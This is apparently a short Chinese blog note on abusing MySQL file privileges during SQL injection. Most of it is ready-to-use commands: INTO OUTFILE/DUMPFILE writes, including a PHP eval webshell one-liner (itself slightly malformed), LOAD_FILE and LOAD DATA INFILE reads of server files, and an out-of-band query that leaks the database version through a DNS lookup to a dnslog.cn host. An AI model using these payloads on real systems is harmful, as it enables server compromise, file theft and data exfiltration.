Mysql读写文件随笔
- 一、查看当前用户权限 显示授权[针对用户]
- 二、mysql 写文件
- 三、mysql 读文件
#当前版本
SELECT VERSION();
一、查看当前用户权限 显示授权[针对用户]
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();
二、mysql 写文件
INTO outfile 写完文件后会在文件后加一个\n换行符
select '<?php phpinfo(); ?>' INTO OUTFILE 'D:/Test.php';
INTO DUMPFILE <?php @eval($_POST['O8'); ?> 我们在平常的UDF提权中使用dumpfile进行dll文件
···
select ‘<?php phpinfo(); ?>’ INTO DUMPFILE ‘D:/Test.php’;
···
三、mysql 读文件
LOAD_FILE(file_name)
select LOAD_FILE('D:/Test.php');
load_file()和load data infile读取文件的方法为:新建一个表,读取文件为字符串形式插入表中,然后读出表中数据。
但是通常情况下有两个前提:
1.在拥有file权限的前提下
2.secure_file_priv不为NULL
show GLOBAL VARIABLES like 'secure_file_priv';
load_file()
CREATE table readFile(cmd text);
INSERT into readFile(cmd) VALUES (LOAD_FILE('D:/Test.php'));
select * from readFile;
注入过程中,往往会过滤掉load_file()这个函数,但是仍然有load data infile可以使用
load data infile
load data infile 'D:/Test.php' into table readFile;
select * from readFile;
非远程连接时可以尝试读取 system cat ‘D:/Test.php’ (未复现。。)
mysql禁止导入导出时,尝试OOB带外注入(未复现,mysql版本问题)
select load_file(concat('\\\\',version(),'.p2y52y.dnslog.cn'));
参考:
https://www.jianshu.com/p/340eedc67a9c
https://www.cnblogs.com/c1e4r/articles/8618692.html